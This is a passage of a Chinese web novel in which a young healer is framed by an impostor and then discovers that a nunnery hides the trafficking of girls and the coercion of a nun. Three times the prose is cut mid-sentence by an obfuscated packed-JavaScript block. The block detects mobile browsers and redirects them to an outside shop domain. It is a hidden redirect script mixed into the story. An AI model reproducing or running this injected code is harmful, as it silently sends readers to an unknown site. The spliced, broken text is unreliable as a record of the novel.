桂花看着儿子,眼圈又红了:“姑娘,你是我家的大恩人。这份恩情,我们母子记一辈子。” “嫂嫂言重了。”许娇娇温声道,“孩子好了就好。” 桂花却没走,搓着手,似有话要说。 “嫂嫂还有事?” “是……是这样的。”桂花压低声音,“姑娘,你救活旺儿的事,村里人都知道了。前几日,村西头赵大的媳妇难产,稳婆都说不行了,我想起姑娘,就……就多嘴说了句,说后山有位神医,或许有法子。” 许娇娇心头一跳:“然后呢?” “赵大连夜上山来找你,可那天下大雨,他在山里迷了路,等找到你这儿,天都亮了……”桂花声音更低了,“回去时,人已经没了。一尸两命。” 许娇娇沉默。她想起那夜确实大雨倾盆,雨声敲得茅屋噼啪作响。可若有人来找,旺财会叫,她会听见。 “那人……长什么样?” “三十来岁,黑脸,左眼角有颗痣。”桂花描述道,“穿着蓑衣,背着药箱——说是把家里能用的药都带上了,想请你去看一眼。” 许娇娇摇头:“那夜没人来。” 桂花愣住了:“可、可赵大说,他在水月庵后头那片老松林附近,真真切切遇着你了!他说那姑娘戴着斗笠,披着蓑衣,看不清全脸,但声音年纪和你相仿。他急得跪下磕头,把媳妇难产的事说了,求你快下山救命……” 许娇娇的心一点点沉下去。 桂花嘴唇哆嗦了一下,才低声道:“那姑娘……那冒充你的人说:这等污秽之事,也配来寻我?我平日行医济世,那是积德行善。妇人产育,血光冲天,最是晦气。我清清白白一个未出阁的女子,沾了这晦气,往后还怎么说亲?你且回去吧,生死有命。’” 许娇娇只觉得一股寒气从脊背窜起。那夜她根本不曾出门,更未见过什么求医的汉子。有人扮作了她。这已不仅仅是拒绝,这是诛心。 “赵大当时就急了,”桂花继续道,声音里带着哭腔,“他说他愿意把家里所有的钱、所有的地契都给你,只求你救命。可那人……那人竟冷笑一声,说:‘你那点破铜烂铁,也值得我沾染晦气?快滚,莫要脏了我的地界。’说完,就指了一条偏僻小路,说从那下山快。赵大没办法,只能沿着那路走……结果那路越走越荒,根本不通山下,他在林子里困到天亮才绕出来……” 许娇娇闭上眼睛,指甲深深掐进掌心。好毒的计!不仅冒充她拒诊,还用如此刻薄恶毒的话语,彻底败坏娇杏的名声——见死不救、贪财怕晦气、冷漠无情。更要命的是,还将求医者引入歧途,白白耽误了最后一点抢救时间。 这样一来,在赵大和所有听闻此事的人心中,娇杏就从一个可能医术不精但心善的小郎中,变成了一个冷酷自私、视人命如草芥的恶人。一旦这名声坐实,她过去救治的所有人,都可能被重新审视,甚至被说成是别有用心。 “姑娘,”桂花已是泪流满面,“这分明是要把你往死里逼啊!赵大回去后,媳妇孩子都没了,他娘哭晕过去好几次。赵大自己又悔又恨,如今卧病在床,嘴里一直念叨着……念叨着要找你讨个公道……” 许娇娇深吸一口气,强迫自己冷静下来。对方的谋划远比她想象的更周密、更狠辣。这不仅仅是阻挠一次救治,而是要彻底摧毁她立足的根本——名声与信任。 “桂花嫂嫂,”她睁开眼,目光清亮却冰冷,“多谢你来告诉我这些。这件事,你暂且不要再对旁人提起,包括赵家那边,也先别提今夜我们谈的话。” 桂花连连点头:“我晓得,我晓得轻重。姑娘,你可要千万小心啊!” 送走心神不定的桂花,许娇娇独自站在暮色渐合的院子里。山风穿过竹林,发出呜咽般的声响。 青山依旧,竹林苍翠,溪水潺潺。这处她经营了近一年的小院,一草一木皆熟悉。可如今,却感到一股无形的寒意从四面八方围拢过来。 有人在盯着她。不是求医的乡民,是带着恶意的人。 她想起水月庵那个叫静非的尼姑,三角眼,嘴角黑痣,面相刻薄。静尘说过,她常往后山来,东张西望。 会是水仙姑指使的吗?为什么?她一个被赶出村的孤女,碍着水月庵什么了? 许娇娇想不明白,但直觉告诉她,就是水月庵在其中捣鬼。 她将银针、医书、存下的几两碎银,分别藏在屋中几个隐蔽处。又检查了门窗,确认牢固。旺财似乎也察觉气氛不对,夜里不再趴窝睡觉,而是守在门边,耳朵竖起。 一夜无事。 次日清晨,许娇娇照常上山采药。她特意选了条平日少走的小径,钻进一片密林。林中光线昏暗,鸟鸣声都显得稀疏。 采了半筐金银花,她直起腰,装作不经意地回头。 身后空无一人,只有风吹过树梢的沙沙声。 是她多心了吗? 许娇娇继续往前走,绕过一块巨石时,忽然加快脚步,闪身躲到石后。 约莫过了半盏茶时间,轻微的脚步声传来。很轻,很谨慎,但确实有人。 她从石缝中望去,只见一个灰色身影在林间一闪而过,很快消失在树丛后。看身形,像是个女子,但不是静尘——静尘比她高瘦,那身影更矮些。 许娇娇心沉了下去。 真的有人跟踪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许娇娇手上动作一顿。 老阿婆继续道:“我活了七十多年,见过的人多了。那水月庵的水仙姑,不是个省油的灯。姑娘你一个人住在这儿,凡事要留个心眼。” 施完针,送走老夫妇,许娇娇站在院中,久久不动。 连外人都看出不对劲了。 她不能再被动等待。 当日下午,她锁好门窗,带着旺财下了山。没去落溪村,而是绕道去了石桥埠,找到孙二根家。 金桂正在院里晾衣服,见她来,又惊又喜:“娇杏姑娘!你怎么来了?快进屋坐!” 许娇娇摆手:“婶婶,我不进去了。有件事想托您转告李阿婆。” 她将近日有人跟踪、水月庵可能对她不利的事简单说了,末了道:“请阿婆最近别上山找我。若有人问起我的事,就说不知道。” 金桂听得脸色发白:“这、这可怎么是好?姑娘,要不你来我家住吧?虽然简陋,总比你一个人在山里强。” “多谢婶婶好意。”许娇娇摇头,“我自有分寸。只是劳烦婶婶转告一声,让阿婆别担心。” 离开孙二根家,许娇娇没立刻回山。她站在村口,望着通往水月庵的那条路,心中有了计较。 既然避不开,那就迎上去。 她需要知道,水月庵到底想做什么。 第二日,许娇娇换了身最旧的衣服,头发随意挽起,背了个空竹筐,装作采药的模样,往水月庵方向走去。 她没走正路,而是从侧面山林绕过去,在一处能俯瞰庵堂的高坡上停下,躲在树丛后观察。 水月庵比她想象的更大。前后三进院落,青瓦白墙,飞檐翘角,庵门紧闭,门楣上“水月庵”三个字已有些斑驳。庵后有一片菜园,几个灰衣尼姑正在劳作。 许娇娇看了约莫半个时辰,没见什么异常。正打算离开,忽见庵门开了。 出来的不是尼姑,是个男人。 14. 第14章 水月庵有猫腻 男人三十来岁,锦衣华服,腰间佩玉,身后跟着个小厮。他站在庵门前,与送他出来的尼姑说了几句,便上了停在路边的马车。 那尼姑许娇娇认得——正是静非。 她站在门口,目送马车远去,脸上露出一种与出家人极不相称的谄媚笑容。直到马车看不见了,她才转身回庵,关上了门。 许娇娇心中疑窦丛生。 水月庵是尼姑庵,怎会有男人出入?看那男人的衣着打扮,非富即贵。静非对他的态度,也过于恭敬热络。 她想起李婆子曾说,水仙姑颇有姿色。又想起静尘欲言又止的神情。 一个念头浮上心头,让她不寒而栗。 若水月庵并非清修之地,而是藏污纳垢之所,那她这个住在后山的隐患,自然要清除。 水仙姑怕她这里人越来越多,会不小心暴露水月庵中的猫腻吧! 许娇娇悄悄退下山坡,快步往回走。 回到茅屋时,已是午后。她关紧院门,坐在屋中,心跳如擂鼓。 若真如她所料,那她的处境比想象中更危险。 怎么办? 离开这里?可她无处可去。落溪村回不去,其他地方人生地不熟,一个八九岁的孤女,又能躲到哪里? 留下?就要面对不知何时会来的算计。 许娇娇第一次感到如此无助。前世她是中医师,有医院为依靠,有法律为屏障。可在这里,她孤身一人,无亲无故,连个能商量的人都没有。 窗外传来旺财的叫声。 许娇娇起身开门,见旺财正冲着篱笆外低吠。她顺着望去,心头一紧。 静非站在篱笆外,似笑非笑地看着她,那目光不像出家人应有的平和,倒像打量一件碍眼的物什。 “小施主在家啊!”静非开口,声音尖细,带着一种刻意拿捏的腔调,“贫尼奉庵主之命,来跟小施主说几句话。” 许娇娇定了定神,打开篱笆门,侧身让开:“师太请进。” 静非却不动,只抱着胳膊,上下将她刮了一遍,嘴角撇了撇:“哟,前两年病得只剩一口气,被扔在这破茅屋自生自灭,没想到如今不但活过来了,还摇身一变,成了能起死回生的活菩萨了?可真是能耐。” 许娇娇心中警惕,面上却不露分毫,只淡淡道:“静非师父说笑了,不过是略懂些草药,帮人看看小病小痛罢了。” “略懂?”静非嗤笑一声,向前踱了半步,“你爹许大郎在时,倒是个真有本事的。可惜啊,好人命不长。留下你这么个……”她顿了顿,目光像淬了毒的针,“……祸害。” 许娇娇后背微微一紧,指尖冰凉。 “家父确是采药人,也略通医术。我不过是捡了些他留下的皮毛。”她语气依旧平静的道。 “狡辩。”静非像是听到了什么笑话,三角眼里闪着恶意的光,“落溪村谁不知道,许大郎的闺女是个天生的聋哑傻子,七岁就克死了爹娘,被村里当扫把星赶了出来。 后来庵主好心收留你,你却不知好歹,又克了庵堂,让观音震怒,走了水,烧坏了大半边。庵主将你送去山上茅屋养着。怎么?如今不但耳朵灵光了,嘴巴利索了,连死人都能救活了?莫不是……被什么山精野鬼上了身吧?” 这话已不仅仅是打探,而是赤裸裸的恶意中伤,甚至带上了乡野最惧怕的鬼怪之说。若传出去,足以让愚昧的村民对她再生恐惧与敌意。 许娇娇抬眼,目光清凌凌地看向静非:“病好了,是老天爷开眼,佛祖垂怜。静非师父是出家人,难道不信因果,不信人有转机么?” “佛祖垂怜?”静非像是被出家人三个字刺了一下,脸色微沉,逼近一步,声音压得更低,带着一股阴冷,“扫把星,别跟我耍嘴皮子。这后山是水月庵的地界,你一个不清不楚的扫把星在这儿妖言惑众,聚众敛财,扰了佛门清净,碍了贵人眼。庵主菩萨心肠,容你到今日,已是慈悲为怀。” 许娇娇不退反进,微微仰头看着她:“我在此居住,开荒种菜,采药自足,从未踏足庵门半步,何来扰了清净?为贫苦乡邻诊病,分文不取者居多,何来敛财?静非师父是亲眼见了,还是听了谁人妄言?” “妄言?”静非眼中厉色一闪,忽然扯出一个古怪的笑容,“前日夜半,青坑村赵大冒着暴雨上山求医,寻你救他难产的媳妇儿,你可知道?” 许娇娇心下一沉,知道正题来了。她面色不变:“那夜大雨,我早早歇下,不曾有人来访。” “没人?”静非故作惊讶,声音却尖刻起来,“可赵大亲口对人说,他在后山松林边,遇着了一位戴斗笠的小娘子,自称娇杏。他跪地哭求,那娇杏却嫌妇人生产血光污秽,怕坏了自家清白名声,硬是将人斥走,还指了一条荒废的死路……结果,一尸两命。” 她盯着许娇娇瞬间苍白的脸,语气愈发阴毒:“赵家如今办着丧事,赵大恨得咬牙切齿,发誓要讨个公道。你说,若他知道真正见死不救、害死他妻儿的人就躲在这里……会怎么样?” 许娇娇只觉得一股寒气从脚底窜起,瞬间蔓延四肢百骸。她早知对方构陷,却没想到静非竟敢当面如此颠倒黑白,将冒充者的恶行扣在她头上,还摆出一副,我已知晓一切的威胁姿态。 她强压住翻涌的气血,声音冷了下来:“静非师父,说话要凭良心,更要有证据。你说那人是我,有何凭证?我亦可说,是有人冒我之名,行恶毒之事,意图栽赃陷害!” “凭证?”静非像是听到了什么幼稚的话,轻笑一声,带着怜悯般的嘲讽,“这荒山野岭,黑灯瞎火,谁看见了?赵大认定了是你,苦主的话,就是最大的凭证!至于冒名顶替……谁信呢?大家只会记得,是你娇杏,见死不救,害了人命!” 她顿了顿,欣赏着许娇娇紧绷的神色,慢悠悠地道:“庵主念你年幼无知,给你指条明路。三日之内,收拾东西,离开此地,永远别再回来。否则,等赵家带人找上门,或是这见死不救、庸医害命的名声传开……到时候,可就不是请你自己走那么简单了。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222025|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢,她不再多言,转身便走,灰色的僧衣在暮色中晃出一道冷硬的影子。 许娇娇站在原地,篱笆门在她面前轻轻晃动。山风渐起,吹得她单薄的衣衫紧贴在身上,冰凉一片。 静非的话,像一把淬毒的楔子,狠狠钉进了她的处境。对方不仅布好了局,连后续的逼迫步骤都算计得清清楚楚。 离开,或者身败名裂,没有第三条路。 这一日,许娇娇采药归来得早。 晨起时天色就灰蒙蒙的,到了午后,西风愈紧,吹得竹林哗哗作响,山间雾气沉沉。她抬头望天,心中警觉——这怕是要变天了。 顾不得整理新采的草药,她急忙将院子里晾晒的药材一一收进屋。黄精、石斛、柴胡……这些药材最忌潮气,若被雨雪打湿,这大半个月的辛苦就白费了。 刚把最后一簸箕收进屋,豆大的雨点便噼里啪啦砸了下来。起初只是疏疏落落,不多时便连成了线,淅淅沥沥,打在屋顶茅草上,激起一层水雾。雨丝中,竟还夹着几点细碎的雪花——这是要落雪的前兆。 许娇娇站在屋檐下,望着灰蒙蒙的天空,心中却莫名不安。 这种不安,已萦绕了她好些日子。 自从静非三日前来威胁后,这种不安就萦绕不散。三日之期已到,她打定主意不走——走了便是认了那莫须有的罪名,更坐实了心虚。但静非那日临走前阴冷的眼神,让她知道事情不会这么简单结束。静尘师姐,已经整整半个月没来了。 从前,静尘每隔三五日便会来一趟,有时送些米粮,有时只是坐坐,说些山下的见闻。可自上次一别,至今杳无音讯。许娇娇记得,静尘时常叮嘱她:“小施主,切记勿要踏进水仙庵半步,便是路过也要绕行。” 那语气里的郑重,让她记到了今日。 她确实从未靠近过水仙庵,采药都刻意避开那条小路。可时间一天天过去,静尘却始终没有出现。许娇娇想过几种可能——或许是静尘下山化缘未归,或许是庵中事务繁忙…… 想到此处,许娇娇心中泛起一阵寒意。 她记起水仙姑那张看似慈悲、实则狠毒的脸。想起前几天静非那张狂的模样。她们将七岁的娇杏罚跪在冰天雪地、扔进破茅屋自生自灭。她们就是彻头彻尾的杀人凶手。若非自己穿越而来,若非这副躯壳里装着三十多年的灵魂,真正的娇杏只怕早已化作一具枯骨。 这样的恶人,如何能成为一庵之主? 什么样的事务,能让静尘连抽空来一趟的工夫都没有? 雨渐渐小了,雪花却密了起来。细白的雪沫子在风中打着旋,落在还未完全枯黄的草地上,很快就化成了水渍。天色愈发昏暗,看这架势,傍晚真要下大雪了。 许娇娇在屋里踱了几步,终究坐不住。 她换上最厚实的棉袄,将旺财关在屋里——这种天气,带它出去反而不便。又揣了把防身的短刀,这是李婆子上次送来的,说是山里野兽多,让她留着防身。 推开院门,风雪扑面而来。 15. 第15章 静尘被关押 水仙庵坐落在半山腰一处平缓坡地,背靠山崖,前临溪涧。平日里香火虽不算鼎盛,但逢初一十五,总有附近村落的妇人前来上香。今日既非朔望,又逢雨雪,庵门前冷冷清清,两扇厚重的木门紧紧闭着。 许娇娇没有走正门。 她绕到庵侧,那里有一段年久失修的矮墙,墙根处有个不起眼的缺口,是野猫常钻的地方。静尘曾无意中提过这个缺口,说偶尔有小猫钻进来偷吃供果。 左右张望,四下无人。许娇娇矮身从缺口钻了进去,动作轻巧如狸猫。 庵内静得出奇。 前院的观音殿门虚掩着,殿内香火已灭,供桌上的烛台蒙了层薄灰。平日洒扫庭院的小尼姑一个不见,连诵经声都听不到。整个庵堂死寂一片,只有风吹过檐角铃铛的叮咚声,衬得这寂静愈发诡异。 许娇娇心中不安更甚。她贴着墙根,蹑手蹑脚往后院走去。 静尘住在后院最西头的一间厢房,与庵主水仙姑的住处隔着一道月亮门。往日里,这里总能听到静尘诵经或捣药的声音。 今日却什么也没有。 许娇娇走到静尘房前,正欲抬手叩门,忽听隔壁传来一阵异响。 那是……男子的声音? 她浑身一僵,屏息细听。雨雪声中,隐约有男女调笑之声,夹杂着杯盏碰撞的轻响。那女子的笑声娇媚轻浮,全然不似佛门清修之人应有的庄重。 是水仙姑的房间。 许娇娇心跳如鼓。她想起静尘曾经的欲言又止,想起那些未说完的警告,一个可怕的猜测浮上心头。 她猫着腰,悄无声息地挪到那间房的窗下。窗纸糊得厚实,但年久破损,有几处细小的裂缝。她凑近其中一道缝隙,眯眼往里看去—— 只看了一眼,便如遭雷击,猛地缩回头,背脊紧紧贴在冰冷的墙壁上。 屋里燃着炭盆,暖意融融。水仙姑穿着一身藕荷色绸衫——那绝不是尼姑该穿的衣裳——正斜倚在一个男子怀里。男子微胖,看年纪约莫二十七八岁,面容白净,穿着锦缎长袍,腰间佩玉,一看便是富家子弟。 两人坐在榻上,中间摆着张小几,上面放着酒壶杯盏。水仙姑举杯喂那男子喝酒,眼角眉梢尽是风情。 “大官人,这大雪天的还跑来,也不怕冻着。”水仙姑娇嗔道。 男子搂着她的腰,笑嘻嘻道:“想你了呗!这破庵里也就你能解闷儿。对了,你那小徒弟……叫静尘的那个,今日怎么没见?” 水仙姑脸色微变,随即笑道:“提她作甚?一个榆木疙瘩,整日就知道念经。” “我瞧她生得倒还清秀……”男子话未说完,被水仙姑拧了一把。 “怎么,瞧上她了?”水仙姑冷笑,“那可是个烈性子,前头我让她去伺候吴员外,她宁死不肯,还拿剪子抵着脖子。要不是看她还有几分用处,早打发出去了。” 许娇娇在窗外听得心惊肉跳。 静尘师姐……竟然经历过这些! 男子讪笑两声,又压低声音:“新到的那批货怎么样了?东边催得紧,说是上回那几个都不错,这次要加钱。” 水仙姑懒懒道:“急什么?这不正调教着么。有两个不听话的,关在柴房饿两天就老实了。还有一个是家里嫌弃的傻丫头,都不用调教,直接送过去。” 许娇娇浑身血液仿佛瞬间凝固。 她忽然想起静尘曾无意中说起——水仙姑每隔一阵子就会收留几个孤苦无依的小姑娘,说是让她们在庵里修行。可那些女孩来了不久便不见踪影,水仙姑只说她们“尘缘未了,还俗去了”。 原来……竟是这般还俗! 屋里男子又道:“最近风声紧,宋大人那边打点好了么?” “放心,每月孝敬从没短过。”水仙姑轻哼,“咱们做的这买卖,他拿了大头,还能不护着?再说了,那些丫头要么是家里不要的,要么是逃荒来的,谁会在意?” “还是你厉害,借着庵堂做幌子,神不知鬼不觉……”男子的话越来越轻,渐渐变成暧昧的低语。 许娇娇不敢再听,沿着原路悄然后退。雪越下越大,地面上已积了薄薄一层,踩上去咯吱作响。她每一步都小心翼翼,且踮起脚尖走路,怕留下印子,让静非或者庵里其他人发现,惊动屋里的人。 退到月亮门时,她回头最后望了一眼庵堂,庵里悄无声息,所有房门紧闭,窗内无光。 静尘师姐……到底在哪里? 许娇娇没有立刻离开水月庵。 她绕到后院西侧的柴房附近——那里有一排低矮的厢房,是杂役和未剃度的小尼姑住的地方。往日来时,总能看到几个小尼姑在院里洗衣洒扫。 今日却空无一人。 许娇娇正疑惑间,忽听柴房后传来低低的啜泣声。她循声望去,只见一个十二三岁的小尼姑蹲在墙角,肩膀一耸一耸,哭得伤心。 是静尘的小师妹,静心。 许娇娇认得她。静尘曾带她来过茅屋两次,是个胆小怯懦的小姑娘。 “静心?”许娇娇压低声音唤道。 静心吓了一跳,猛地抬头,见是许娇娇,更是慌乱:“你、你怎么来了?快走!被庵主看见就糟了!” “静尘师姐呢?”许娇娇急问。 静心眼泪又涌了出来,左右张望,才颤声道:“静尘师姐……被关起来了。” “什么?!” “前几日,县城里来了位姓吴的员外,说是要给老夫人做法事。庵主让静尘师姐去奉茶,谁知那吴员外……动手动脚。师姐不从,用茶盏砸了他。”静心哽咽道,“庵主大怒,说师姐冲撞贵人,把她关进了后山的石屋,还不给饭吃……” 许娇娇只觉一股怒火直冲头顶。 “后山石屋在哪儿?” “在、在庵后小径尽头,平日堆放杂物用的。”静心抓住许娇娇的手,“你别去!庵主说了,谁敢去送饭,就一起关进去!她已经关了三天了……” 三天!这冰天雪地的,关在不生火的石屋里,还不给饭吃! 许娇娇转身要走,静心却又拉住她,声音压得更低:“还、还有件事……柴房里还关着两个小姑娘,是前几日送来的。一个是从人牙子手里买的,一个是被家里嫌弃的……庵主说,等凑够一批,就、就送走……” 许娇娇心头剧震。果然!水仙姑果然在做贩卖人口的勾当! 她强压怒火,低声道:“静心,你先稳住,别让人看出异样。我去看看静尘师姐。” “你千万小心……静非专门盯着那边。”静心松开手,又缩回墙角。 许娇娇没有走正路,而是沿着柴房后的山坡往上爬。雪已经积了寸许厚,山路湿滑难行。她手脚并用,好几次险些滑倒,指甲缝里都嵌进了泥雪。 约莫爬了一炷香工夫,果然看见一处隐在树丛后的石屋。屋子依山而建,墙是整块山岩凿成,只有一扇厚重的木门,此刻正上着一把铜锁。 “静尘师姐?”许娇娇拍门轻唤。 里面传来虚弱的回应:“是……是谁?” “是我,娇杏。” 门内静了一瞬,随即响起窸窣声响。门缝里透出一双眼睛——那是静尘的眼睛,却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222026|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了往日的温和平静,只剩惊惶与茫然。 “你怎么来了,小施主?”静尘看到她,吃了一惊,急忙压低声音,“你快走!被庵主发现就……” “师姐,你怎么样?”许娇娇急问。 “我无事,小施主你快走,这里危险。”静尘声音沙哑,“你还小,我的事你管不了……” 说着,静尘悄悄转过头擦了擦眼泪。许娇娇从门缝里看得仔细,心头一阵酸楚——静尘是这个世界除了李婆子外,第二个对她无条件好的人。 许娇娇定了定神,从怀里掏出一块用油纸包着的饼——这是她出门时随手揣的干粮。又从腰间解下水囊,一并从门缝塞进去。 “师姐,你先吃点东西。我听静心说你被关在这里,已经三天没吃饭了。”许娇娇说到这里,深吸一口气,“师姐放心,我会想办法救你出来。” “别!”静尘急道,“你别管我!水仙姑背后有人,你那么小怎么斗得过她!快走,趁没人发现……” 话音未落,远处传来脚步声。 许娇娇心头一紧,闪身躲进旁边的树丛。 来的是两个粗使婆子,拎着食盒,骂骂咧咧:“这鬼天气,还得给那贱蹄子送饭……” “静非师太说了,庵主只是让关两天吓唬吓唬,还真想饿死她不成?” “你懂什么?那吴员外出了大价钱,要静尘去伺候。庵主收了银子,能放过她?” 两人说着走到石屋前,开了锁。许娇娇从树丛缝隙中看见,食盒里只有半碗冰冷的稀粥,一个硬邦邦的窝头。 “吃吧!”婆子把食盒往地上一扔,“庵主说了,再关你两天。想通了就去给吴员外赔罪,想不通……哼哼。” 门又锁上了。 婆子走后,许娇娇才从藏身处出来。她没有再去叩门,只在门外站了片刻,听着里面静尘压抑的啜泣声,心中有了决断。 转身下山时,雪下得更大了。 漫天飞絮,将山野染成一片苍茫的白。许娇娇深一脚浅一脚往回走,湿冷的雨雪夹杂着冷风直往头脸脖颈灌,冻得她牙齿打颤。幸亏她穿了厚棉袍,否则真撑不住这寒气。 可身体再冷,也比不上心里的寒意。 水仙姑不但与人偷情,逼迫尼姑卖身,更借着庵堂掩护,干着贩卖人口的勾当!那些被收留的女孩,那些尘缘未了还俗去的谎言……这哪里是什么清净佛门,分明是吃人不吐骨头的魔窟! 静尘师姐待她如亲妹,她绝不能坐视不理。 可怎么救? 她一个九岁的孤女,无权无势,连水仙庵的门都进不去。报官?听水仙姑和那个男子的谈话,那县令分明与水仙姑他们沆瀣一气。找李婆子帮忙?可李家也是寻常农户,如何斗得过这些手眼通天的这些人? 许娇娇一路走,一路想,心中念头纷乱如雪。 回到茅屋时,天已完全黑了。旺财听见动静,扑到门边呜呜低叫。许娇娇开门进屋,浑身冻得僵硬,连火都打了半天才点着。 就着微弱的火光,她烤着火,思绪渐渐清晰。 硬碰硬肯定不行。 得智取。 水仙姑做这些见不得人的勾当,必然有破绽。贩卖人口不是小事,那些被拐的女孩、来往的账目、打点官府的证据……只要找到一样,或许就能撕开这张黑网。 许娇娇望向窗外沉沉的夜色,眼中燃起两簇火光。 这一夜,她坐在火堆边,一夜未眠。 心中只有一个念头:静尘师姐要救,那些被拐的女孩也要救。这水仙庵的腌臜勾当,必须大白于天下! 16. 第16章 许娇娇求救 许娇娇一夜未眠。 火堆燃尽又添,竹墙外天色由浓黑转作蟹壳青时,她终于站起身。膝腿因久坐而酸麻,可那双眼睛却清亮得惊人,在晨光熹微中闪烁着决绝的光。 一夜思索,心中已有了轮廓。 天色放晴,昨日的雨雪大半融化,只在背阴处留下斑驳残白。山林间弥漫着潮湿的寒气,比落雪时更刺骨。许娇娇做了热粥,烙了两张掺了野菜的饼,趁热装进竹篮,用旧棉袄仔细裹好。又从箱底翻出那件厚棉尼袍——静尘去年冬天一针一线为她缝制的,她一直舍不得穿。 “旺财,走。”她轻声唤道。 小黑狗摇着尾巴跟上,乌亮的眼睛似也通晓主人心事。一人一狗踏着晨霜未消的山路,悄然往水仙庵方向行去。 石屋隐在晨雾中,寂寥如坟。 许娇娇让旺财守在进庵的缺口处放哨,小家伙极通人性,蹲在墙根下,竖着耳朵警惕四望。她这才提着篮子,悄悄摸到石屋前。 木门紧闭,铜锁森然。她俯身从门板底部的缝隙往里看——静尘蜷缩在墙角一堆干草上,身上只盖着条薄被,整个人缩成一团,瑟瑟发抖。 “静尘师姐。”许娇娇压低声音轻唤。 静尘猛地抬起头,见是她,眼中先是惊喜,随即化为浓重的忧虑:“你怎么又来了?快走……” “我给你带了吃的。”许娇娇将竹篮从缝隙推进去,又塞进那件棉尼袍,“先穿上,别冻着。” 静尘颤抖着手接过袍子裹在身上,又捧过热粥,眼眶瞬间红了。她小口小口喝着粥,热食下肚,惨白的脸上总算有了些血色。 “静尘师姐,你听我说。”许娇娇贴着门缝,语速极快却字字清晰,“昨夜我想了一夜。水仙姑做的那些勾当——逼良为娼、拐卖人口、勾结官府——我都知道了。” 静尘捧着粥碗的手猛地一颤,热粥险些洒出。她睁大眼睛看着许娇娇,嘴唇哆嗦着:“你……你怎么知道?” “我昨日潜入庵里,亲耳听见的。”许娇娇目光如炬,“她还关着两个小姑娘在柴房,对不对?” 静尘脸色煞白,半晌才艰难点头,又急忙道:“你,你不该管,你还是个孩子,若是被庵主抓到,”说着她眼泪就下来了,“那是……是两个苦命的女孩子。一个是从人牙子手里买的,才十岁;一个是被家里嫌晦气送来的,有些痴傻,才八岁……庵主说,等凑够一批,就、就送走……” “送去哪儿?” “我不知道。”静尘摇头,眼泪滚落,“我只知道,从前那些还俗的姐妹,再也没有音讯。庵里不许提她们,谁敢多问,就会挨打,会被关起来……像我一样。” 许娇娇心中怒火翻腾,却强自镇定:“静尘师姐,你在庵里这些年,可知道水仙姑有什么把柄?账本?书信?或是藏赃物的地方?” 静尘闭目思索片刻,忽然睁眼小声道:“佛龛!她屋里的白玉观音佛龛,后面有个暗格。我几年前打扫庵主寝房时无意中撞见她开过一次,里头好像藏着账册……还有,后山有个山洞,她每月都会让人搬些箱子进去,从不让旁人靠近。” “山洞在哪儿?” “石屋往东,绕过一片野竹林,有块大青石挡着入口。但那里日夜有人看守,是两个会拳脚的婆子。那两个婆子……是庵主的相好送来的。那个人不好惹。你管不了,快走吧!”静尘说着,神色慌张了起来,又喃喃自语,“这都是命……” 正说着,远处传来脚步声。许娇娇急忙示意静尘噤声,闪身躲进树丛。 来的是昨日那两个婆子,打着哈欠,一脸不耐。一个提着食盒,一个抱着捆干柴。 “这鬼差事什么时候是个头……”提食盒的婆子抱怨,“冻死个人。” “快了快了,大官人说了,再关两天,总要磨一磨她的烈性。”抱着柴禾的那个婆子絮叨,“不过我琢磨着,这庵主怕是不愿——她正和大官人热乎着,岂会让大官人沾上别的腥荤?况且她早就收了吴员外的钱财。那吴员外真是艳福不浅……”说着这婆子咂咂嘴,“听说家里还有几十房妻妾,五六十岁了,又讨了这个小的,多少人羡慕。你说这静尘是不是个傻的?那吴员外家大业大,跟着他说不定还有好日子,胜过在这破庵堂清修。” “你个老货,”提食盒的婆子呸了一口,“快住嘴吧!大官人的事咱们少嚼舌根。” “也就是静尘听话能吃苦,庵里的杂事多,水仙姑才留着她至今。若是和那些一样没用,说不定早就被卖到北边了——还能卖个好价钱。”抱柴的婆子冷笑,“就跟柴房里那两个一样。” 两人说着话开了锁,把一碗冰冷的剩饭扔进去,又把干柴丢在墙角:“自己生火!别冻死了。” 门又锁上了。铜锁扣合时发出沉闷的响声。婆子们骂骂咧咧走了。 许娇娇从藏身处出来,指甲深深掐进掌心。 这庵堂远来是个真正的贼窟。 卖到北边……好价钱…… 这水仙姑,当真将人当作货物! 她没再多留,只隔着门缝低声道:“师姐,等我。”便悄然退出了后山。 许娇娇还是从昨日那个缺口钻进庵里,旺财跟在她脚边,耳朵竖起。前院的观音殿大门紧闭,连晨钟都没敲。静非和其他尼姑也不知去向,整个庵堂仿佛一座空庙。 她绕到后院,潜至水仙姑房外。 屋内悄无声息。许娇娇趴在窗缝往里窥看——塌桌上杯盘狼藉,酒壶倾倒,残羹冷炙散发着一股酸腐气。透过半透明的绢帛屏风,能看见床上两个隆起的被窝,鼾声隐隐。 水仙姑和那个男人,还沉在宿醉的酣眠中。 许娇娇的目光落在西墙的佛龛上。白玉观音慈眉善目,香炉里积着厚厚的香灰。她仔细打量——佛龛底座雕着莲花纹,其中一朵莲瓣的颜色似乎略深些…… 若真有暗格,证据或许就在里面。 可怎么进去?屋里有人,且这佛龛必是机关精巧,强撬必会惊动。 